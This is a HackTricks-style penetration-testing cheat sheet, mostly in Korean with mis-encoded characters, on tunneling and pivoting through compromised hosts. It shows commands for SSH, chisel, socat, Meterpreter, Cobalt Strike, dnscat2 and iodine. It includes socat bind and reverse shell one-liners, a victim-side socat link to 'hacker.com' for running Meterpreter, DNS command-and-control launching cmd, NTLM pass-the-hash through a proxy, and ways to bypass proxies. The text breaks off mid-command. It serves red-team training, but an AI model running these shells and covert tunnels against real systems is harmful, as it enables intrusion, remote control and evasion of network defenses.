# Tunneling and Port Forwarding {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** ๐Ÿ’ฌ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ๐Ÿฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Nmap tip {% hint style="warning" %} **ICMP** ๋ฐ **SYN** ์Šค์บ”์€ ์†Œ์ผ“ ํ”„๋ก์‹œ๋ฅผ ํ†ตํ•ด ํ„ฐ๋„๋งํ•  ์ˆ˜ ์—†์œผ๋ฏ€๋กœ **ํ•‘ ํƒ์ƒ‰์„ ๋น„ํ™œ์„ฑํ™”**(`-Pn`)ํ•˜๊ณ  **TCP ์Šค์บ”**(`-sT`)์„ ์ง€์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. {% endhint %} ## **Bash** **Host -> Jump -> InternalA -> InternalB** ```bash # On the jump server connect the port 3333 to the 5985 mknod backpipe p; nc -lvnp 5985 0backpipe # On InternalA accessible from Jump and can access InternalB ## Expose port 3333 and connect it to the winrm port of InternalB exec 3<>/dev/tcp/internalB/5985 exec 4<>/dev/tcp/Jump/3333 cat <&3 >&4 & cat <&4 >&3 & # From the host, you can now access InternalB from the Jump server evil-winrm -u username -i Jump ``` ## **SSH** SSH ๊ทธ๋ž˜ํ”ฝ ์—ฐ๊ฒฐ (X) ```bash ssh -Y -C @ #-Y is less secure but faster than -X ``` ### Local Port2Port SSH ์„œ๋ฒ„์—์„œ ์ƒˆ ํฌํŠธ ์—ด๊ธฐ --> ๋‹ค๋ฅธ ํฌํŠธ ```bash ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere ``` ```bash ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere ``` ### Port2Port ๋กœ์ปฌ ํฌํŠธ --> ์†์ƒ๋œ ํ˜ธ์ŠคํŠธ (SSH) --> ์ œ3\_๋ฐ•์Šค:ํฌํŠธ ```bash ssh -i ssh_key @ -L :: [-p ] [-N -f] #This way the terminal is still in your host #Example sudo ssh -L 631::631 -N -f -l ``` ### Port2hostnet (proxychains) ๋กœ์ปฌ ํฌํŠธ --> ์†์ƒ๋œ ํ˜ธ์ŠคํŠธ (SSH) --> ์–ด๋””๋“ ์ง€ ```bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy) ``` ### Reverse Port Forwarding ๋‚ด๋ถ€ ํ˜ธ์ŠคํŠธ์—์„œ DMZ๋ฅผ ํ†ตํ•ด ๊ท€ํ•˜์˜ ํ˜ธ์ŠคํŠธ๋กœ ๋ฆฌ๋ฒ„์Šค ์…ธ์„ ์–ป๋Š” ๋ฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค: ```bash ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000 # Note that port 443 must be open # Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems # and change the line "GatewayPorts no" to "GatewayPorts yes" # to be able to make ssh listen in non internal interfaces in the victim (443 in this case) ``` ### VPN-Tunnel ๋‘ ์žฅ์น˜ ๋ชจ๋‘์—์„œ **๋ฃจํŠธ ๊ถŒํ•œ์ด ํ•„์š”**ํ•ฉ๋‹ˆ๋‹ค(์ƒˆ ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ ์ƒ์„ฑํ•  ๊ฒƒ์ด๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค) ๊ทธ๋ฆฌ๊ณ  sshd ์„ค์ •์—์„œ ๋ฃจํŠธ ๋กœ๊ทธ์ธ์„ ํ—ˆ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:\ `PermitRootLogin yes`\ `PermitTunnel yes` ```bash ssh root@server -w any:any #This will create Tun interfaces in both devices ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP ifconfig tun0 up #Activate the client side network interface ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP ifconfig tun0 up #Activate the server side network interface ``` ์„œ๋ฒ„ ์ธก์—์„œ ํฌ์›Œ๋”ฉ ํ™œ์„ฑํ™” ```bash echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE ``` ํด๋ผ์ด์–ธํŠธ ์ธก์— ์ƒˆ ๊ฒฝ๋กœ ์„ค์ • ``` route add -net 10.0.0.0/16 gw 1.1.1.1 ``` ## SSHUTTLE ํ˜ธ์ŠคํŠธ๋ฅผ ํ†ตํ•ด **์„œ๋ธŒ๋„คํŠธ์›Œํฌ**๋กœ ๋ชจ๋“  **ํŠธ๋ž˜ํ”ฝ**์„ **ssh**๋ฅผ ํ†ตํ•ด **ํ„ฐ๋„๋ง**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ ์˜ˆ๋ฅผ ๋“ค์–ด, 10.10.10.0/24๋กœ ๊ฐ€๋Š” ๋ชจ๋“  ํŠธ๋ž˜ํ”ฝ์„ ํฌ์›Œ๋”ฉํ•ฉ๋‹ˆ๋‹ค. ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 ``` ๊ฐœ์ธ ํ‚ค๋กœ ์—ฐ๊ฒฐํ•˜๊ธฐ ```bash sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa' # -D : Daemon mode ``` ## Meterpreter ### Port2Port ๋กœ์ปฌ ํฌํŠธ --> ์†์ƒ๋œ ํ˜ธ์ŠคํŠธ (ํ™œ์„ฑ ์„ธ์…˜) --> ์ œ3\_๋ฐ•์Šค:ํฌํŠธ ```bash # Inside a meterpreter session portfwd add -l -p -r ``` ### SOCKS ```bash background# meterpreter session route add # (ex: route add 10.10.10.14 255.255.255.0 8) use auxiliary/server/socks_proxy run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•: ```bash background #meterpreter session use post/multi/manage/autoroute set SESSION set SUBNET #Ex: set SUBNET 10.1.13.0 set NETMASK run use auxiliary/server/socks_proxy set VERSION 4a run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` ## Cobalt Strike ### SOCKS ํ”„๋ก์‹œ ๋ชจ๋“  ์ธํ„ฐํŽ˜์ด์Šค์—์„œ ์ˆ˜์‹  ๋Œ€๊ธฐํ•˜๋Š” ํŒ€ ์„œ๋ฒ„์—์„œ ํฌํŠธ๋ฅผ ์—ด์–ด **๋น„์ฝ˜์„ ํ†ตํ•ด ํŠธ๋ž˜ํ”ฝ์„ ๋ผ์šฐํŒ…**ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 # Set port 1080 as proxy server in proxychains.conf proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ``` ### rPort2Port {% hint style="warning" %} ์ด ๊ฒฝ์šฐ, **ํฌํŠธ๋Š” ๋น„์ฝ˜ ํ˜ธ์ŠคํŠธ์—์„œ ์—ด๋ฆฝ๋‹ˆ๋‹ค**, ํŒ€ ์„œ๋ฒ„๊ฐ€ ์•„๋‹ˆ๋ผ ํŒ€ ์„œ๋ฒ„๋กœ ํŠธ๋ž˜ํ”ฝ์ด ์ „์†ก๋˜๊ณ , ๊ทธ๊ณณ์—์„œ ์ง€์ •๋œ ํ˜ธ์ŠคํŠธ:ํฌํŠธ๋กœ ์ „์†ก๋ฉ๋‹ˆ๋‹ค. {% endhint %} ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] ``` To note: - Beacon์˜ ๋ฆฌ๋ฒ„์Šค ํฌํŠธ ํฌ์›Œ๋“œ๋Š” **๊ฐœ๋ณ„ ๋จธ์‹  ๊ฐ„์˜ ์ค‘๊ณ„๊ฐ€ ์•„๋‹ˆ๋ผ Team Server๋กœ ํŠธ๋ž˜ํ”ฝ์„ ํ„ฐ๋„๋งํ•˜๊ธฐ ์œ„ํ•ด ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค**. - ํŠธ๋ž˜ํ”ฝ์€ **Beacon์˜ C2 ํŠธ๋ž˜ํ”ฝ ๋‚ด์—์„œ ํ„ฐ๋„๋ง๋ฉ๋‹ˆ๋‹ค**, P2P ๋งํฌ๋ฅผ ํฌํ•จํ•˜์—ฌ. - **๊ด€๋ฆฌ์ž ๊ถŒํ•œ์ด ํ•„์š”ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค** ๊ณ ํฌํŠธ์—์„œ ๋ฆฌ๋ฒ„์Šค ํฌํŠธ ํฌ์›Œ๋“œ๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๋ฐ. ### rPort2Port local {% hint style="warning" %} ์ด ๊ฒฝ์šฐ, **ํฌํŠธ๋Š” ๋น„์ฝ˜ ํ˜ธ์ŠคํŠธ์—์„œ ์—ด๋ฆฌ๋ฉฐ**, Team Server๊ฐ€ ์•„๋‹ˆ๋ผ **ํŠธ๋ž˜ํ”ฝ์€ Cobalt Strike ํด๋ผ์ด์–ธํŠธ๋กœ ์ „์†ก๋ฉ๋‹ˆ๋‹ค** (Team Server๊ฐ€ ์•„๋‹ˆ๋ผ) ๊ทธ๋ฆฌ๊ณ  ๊ฑฐ๊ธฐ์„œ ์ง€์ •๋œ ํ˜ธ์ŠคํŠธ:ํฌํŠธ๋กœ ์ „์†ก๋ฉ๋‹ˆ๋‹ค. {% endhint %} ``` rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] ``` ## reGeorg [https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg) ์›น ํŒŒ์ผ ํ„ฐ๋„์„ ์—…๋กœ๋“œํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: ashx|aspx|js|jsp|php|php|jsp ```bash python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp ``` ## Chisel [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)์˜ ๋ฆด๋ฆฌ์Šค ํŽ˜์ด์ง€์—์„œ ๋‹ค์šด๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ ํด๋ผ์ด์–ธํŠธ์™€ ์„œ๋ฒ„์— **๊ฐ™์€ ๋ฒ„์ „**์„ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ### socks ```bash ./chisel server -p 8080 --reverse #Server -- Attacker ./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim #And now you can use proxychains with port 1080 (default) ./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed) ./chisel client -v 10.10.10.10:8080 socks #Attacker ``` ### ํฌํŠธ ํฌ์›Œ๋”ฉ ```bash ./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker ./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim ``` ## Rpivot [https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot) ์—ญ๋ฐฉํ–ฅ ํ„ฐ๋„. ํ„ฐ๋„์€ ํ”ผํ•ด์ž์—์„œ ์‹œ์ž‘๋ฉ๋‹ˆ๋‹ค.\ 127.0.0.1:1080์—์„œ socks4 ํ”„๋ก์‹œ๊ฐ€ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. ```bash attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080 ``` ```bash victim> python client.py --server-ip --server-port 9999 ``` **NTLM ํ”„๋ก์‹œ**๋ฅผ ํ†ตํ•œ ํ”ผ๋ฒ—ํŒ… ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd ``` ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45 ``` ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) ### ๋ฐ”์ธ๋“œ ์…ธ ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP4::1337 ``` ### ๋ฆฌ๋ฒ„์Šค ์…ธ ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` ### Port2Port ```bash socat TCP4-LISTEN:,fork TCP4:: & ``` ### Port2Port through socks ```bash socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` ### SSL Socat์„ ํ†ตํ•œ Meterpreter ```bash #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333 ``` ```bash victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` ๋‹น์‹ ์€ ํ”ผํ•ด์ž์˜ ์ฝ˜์†”์—์„œ ๋งˆ์ง€๋ง‰ ์ค„ ๋Œ€์‹  ์ด ์ค„์„ ์‹คํ–‰ํ•˜์—ฌ **๋น„์ธ์ฆ ํ”„๋ก์‹œ**๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` [https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/) ### SSL Socat Tunnel **/bin/sh ์ฝ˜์†”** ํด๋ผ์ด์–ธํŠธ์™€ ์„œ๋ฒ„ ์–‘์ชฝ์—์„œ ์ธ์ฆ์„œ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ```bash # Execute these commands on both sides FILENAME=socatssl openssl genrsa -out $FILENAME.key 1024 openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt cat $FILENAME.key $FILENAME.crt >$FILENAME.pem chmod 600 $FILENAME.key $FILENAME.pem ``` ```bash attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt ``` ### Remote Port2Port ๋กœ์ปฌ SSH ํฌํŠธ(22)๋ฅผ ๊ณต๊ฒฉ์ž ํ˜ธ์ŠคํŠธ์˜ 443 ํฌํŠธ์— ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค. ```bash attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost victim> while true; do socat TCP4::443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim ``` ## Plink.exe ์ฝ˜์†” PuTTY ๋ฒ„์ „๊ณผ ๋น„์Šทํ•ฉ๋‹ˆ๋‹ค (์˜ต์…˜์€ ssh ํด๋ผ์ด์–ธํŠธ์™€ ๋งค์šฐ ์œ ์‚ฌํ•ฉ๋‹ˆ๋‹ค). ์ด ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” ํ”ผํ•ด์ž์—์„œ ์‹คํ–‰๋  ๊ฒƒ์ด๋ฉฐ ssh ํด๋ผ์ด์–ธํŠธ์ด๋ฏ€๋กœ, ์—ญ ์—ฐ๊ฒฐ์„ ์œ„ํ•ด ssh ์„œ๋น„์Šค์™€ ํฌํŠธ๋ฅผ ์—ด์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ, ๋กœ์ปฌ์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ํฌํŠธ๋งŒ ์šฐ๋ฆฌ ๋จธ์‹ ์˜ ํฌํŠธ๋กœ ํฌ์›Œ๋”ฉํ•˜๋ ค๋ฉด: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 ``` ## Windows netsh ### Port2Port ๋กœ์ปฌ ๊ด€๋ฆฌ์ž๊ฐ€ ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค (๋ชจ๋“  ํฌํŠธ์— ๋Œ€ํ•ด) ```bash netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp # Example: netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444 # Check the port forward was created: netsh interface portproxy show v4tov4 # Delete port forward netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 ``` ## SocksOverRDP & Proxifier **์‹œ์Šคํ…œ์— ๋Œ€ํ•œ RDP ์•ก์„ธ์Šค๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.**\ ๋‹ค์šด๋กœ๋“œ: 1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - ์ด ๋„๊ตฌ๋Š” Windows์˜ ์›๊ฒฉ ๋ฐ์Šคํฌํ†ฑ ์„œ๋น„์Šค ๊ธฐ๋Šฅ์—์„œ `Dynamic Virtual Channels` (`DVC`)๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. DVC๋Š” **RDP ์—ฐ๊ฒฐ์„ ํ†ตํ•œ ํŒจํ‚ท ํ„ฐ๋„๋ง**์„ ๋‹ด๋‹นํ•ฉ๋‹ˆ๋‹ค. 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) ํด๋ผ์ด์–ธํŠธ ์ปดํ“จํ„ฐ์—์„œ **`SocksOverRDP-Plugin.dll`**์„ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค: ```bash # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` ์ด์ œ **`mstsc.exe`**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **RDP**๋ฅผ ํ†ตํ•ด **ํฌ์ƒ์ž**์— **์—ฐ๊ฒฐ**ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, **SocksOverRDP ํ”Œ๋Ÿฌ๊ทธ์ธ์ด ํ™œ์„ฑํ™”๋˜์—ˆ๋‹ค๋Š”** **ํ”„๋กฌํ”„ํŠธ**๋ฅผ ๋ฐ›์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  **127.0.0.1:1080**์—์„œ **์ˆ˜์‹ **ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค. **RDP**๋ฅผ ํ†ตํ•ด **์—ฐ๊ฒฐ**ํ•˜๊ณ  ํฌ์ƒ์ž ๋จธ์‹ ์— `SocksOverRDP-Server.exe` ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์—…๋กœ๋“œ ๋ฐ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค: ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` ์ด์ œ ๊ณต๊ฒฉ์ž ๋จธ์‹ ์—์„œ ํฌํŠธ 1080์ด ์ˆ˜์‹  ๋Œ€๊ธฐ ์ค‘์ธ์ง€ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค: ``` netstat -antb | findstr 1080 ``` ์ด์ œ [**Proxifier**](https://www.proxifier.com/) **๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ•ด๋‹น ํฌํŠธ๋ฅผ ํ†ตํ•ด ํŠธ๋ž˜ํ”ฝ์„ ํ”„๋ก์‹œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.** ## Windows GUI ์•ฑ ํ”„๋ก์‹œํ™” [**Proxifier**](https://www.proxifier.com/)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ Windows GUI ์•ฑ์ด ํ”„๋ก์‹œ๋ฅผ ํ†ตํ•ด ํƒ์ƒ‰ํ•˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ **Profile -> Proxy Servers**์—์„œ SOCKS ์„œ๋ฒ„์˜ IP์™€ ํฌํŠธ๋ฅผ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.\ **Profile -> Proxification Rules**์—์„œ ํ”„๋ก์‹œํ™”ํ•  ํ”„๋กœ๊ทธ๋žจ์˜ ์ด๋ฆ„๊ณผ ํ”„๋ก์‹œํ™”ํ•  IP์— ๋Œ€ํ•œ ์—ฐ๊ฒฐ์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. ## NTLM ํ”„๋ก์‹œ ์šฐํšŒ ์•ž์„œ ์–ธ๊ธ‰ํ•œ ๋„๊ตฌ: **Rpivot**\ **OpenVPN**๋„ ์ด๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ตฌ์„ฑ ํŒŒ์ผ์—์„œ ์ด๋Ÿฌํ•œ ์˜ต์…˜์„ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค: ```bash http-proxy 8080 ntlm ``` ### Cntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) ํ”„๋ก์‹œ์— ๋Œ€ํ•ด ์ธ์ฆํ•˜๊ณ  ์ง€์ •ํ•œ ์™ธ๋ถ€ ์„œ๋น„์Šค๋กœ ํฌํŠธ๋ฅผ ๋กœ์ปฌ์—์„œ ๋ฐ”์ธ๋”ฉํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ ์ด ํฌํŠธ๋ฅผ ํ†ตํ•ด ์›ํ•˜๋Š” ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ ์˜ˆ๋ฅผ ๋“ค์–ด ํฌํŠธ 443์„ ํฌ์›Œ๋”ฉํ•ฉ๋‹ˆ๋‹ค. ``` Username Alice Password P@ssw0rd Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` ์ด์ œ, ์˜ˆ๋ฅผ ๋“ค์–ด ํ”ผํ•ด์ž์˜ **SSH** ์„œ๋น„์Šค๊ฐ€ ํฌํŠธ 443์—์„œ ์ˆ˜์‹  ๋Œ€๊ธฐํ•˜๋„๋ก ์„ค์ •ํ•˜๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ํฌํŠธ 2222๋ฅผ ํ†ตํ•ด ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ ๋˜ํ•œ **meterpreter**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ localhost:443์— ์—ฐ๊ฒฐํ•˜๊ณ  ๊ณต๊ฒฉ์ž๊ฐ€ ํฌํŠธ 2222์—์„œ ์ˆ˜์‹  ๋Œ€๊ธฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ## YARP Microsoft์—์„œ ๋งŒ๋“  ๋ฆฌ๋ฒ„์Šค ํ”„๋ก์‹œ์ž…๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) ## DNS Tunneling ### Iodine [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) ๋‘ ์‹œ์Šคํ…œ ๋ชจ๋‘์—์„œ ๋ฃจํŠธ ๊ถŒํ•œ์ด ํ•„์š”ํ•˜์—ฌ tun ์–ด๋Œ‘ํ„ฐ๋ฅผ ์ƒ์„ฑํ•˜๊ณ  DNS ์ฟผ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐ์ดํ„ฐ ํ„ฐ๋„๋ง์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ``` attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r #You can see the victim at 1.1.1.2 ``` ํ„ฐ๋„์€ ๋งค์šฐ ๋Š๋ฆด ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด ํ„ฐ๋„์„ ํ†ตํ•ด ์••์ถ•๋œ SSH ์—ฐ๊ฒฐ์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ``` ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ``` ### DNSCat2 [**์—ฌ๊ธฐ์—์„œ ๋‹ค์šด๋กœ๋“œํ•˜์„ธ์š”**](https://github.com/iagox86/dnscat2)**.** DNS๋ฅผ ํ†ตํ•ด C\&C ์ฑ„๋„์„ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. ๋ฃจํŠธ ๊ถŒํ•œ์ด ํ•„์š”ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ```bash attacker> ruby ./dnscat2.rb tunneldomain.com victim> ./dnscat2 tunneldomain.com # If using it in an internal network for a CTF: attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache victim> ./dnscat2 --dns host=10.10.10.10,port=5353 ``` #### **PowerShell์—์„œ** [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ PowerShell์—์„œ dnscat2 ํด๋ผ์ด์–ธํŠธ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ``` Import-Module .\dnscat2.ps1 Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd ``` #### **dnscat์„ ์ด์šฉํ•œ ํฌํŠธ ํฌ์›Œ๋”ฉ** ```bash session -i listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host ``` #### ํ”„๋ก์‹œ์ฒด์ธ DNS ๋ณ€๊ฒฝ Proxychains๋Š” `gethostbyname` libc ํ˜ธ์ถœ์„ ๊ฐ€๋กœ์ฑ„๊ณ  TCP DNS ์š”์ฒญ์„ SOCKS ํ”„๋ก์‹œ๋ฅผ ํ†ตํ•ด ํ„ฐ๋„๋งํ•ฉ๋‹ˆ๋‹ค. **๊ธฐ๋ณธ์ ์œผ๋กœ** proxychains๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” **DNS** ์„œ๋ฒ„๋Š” **4.2.2.2**์ž…๋‹ˆ๋‹ค (ํ•˜๋“œ์ฝ”๋”ฉ๋จ). ์ด๋ฅผ ๋ณ€๊ฒฝํ•˜๋ ค๋ฉด ํŒŒ์ผ์„ ํŽธ์ง‘ํ•˜์‹ญ์‹œ์˜ค: _/usr/lib/proxychains3/proxyresolv_ ๋ฐ IP๋ฅผ ๋ณ€๊ฒฝํ•˜์‹ญ์‹œ์˜ค. **Windows ํ™˜๊ฒฝ**์— ์žˆ๋Š” ๊ฒฝ์šฐ **๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ**์˜ IP๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ## Go์—์„œ์˜ ํ„ฐ๋„ [https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel) ## ICMP ํ„ฐ๋„๋ง ### Hans [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) ๋‘ ์‹œ์Šคํ…œ ๋ชจ๋‘์—์„œ ๋ฃจํŠธ ๊ถŒํ•œ์ด ํ•„์š”ํ•˜๋ฉฐ, ICMP ์—์ฝ” ์š”์ฒญ์„ ์‚ฌ์šฉํ•˜์—ฌ TUN ์–ด๋Œ‘ํ„ฐ๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ๋ฐ์ดํ„ฐ ๊ฐ„์— ํ„ฐ๋„๋งํ•ฉ๋‹ˆ๋‹ค. ```bash ./hans -v 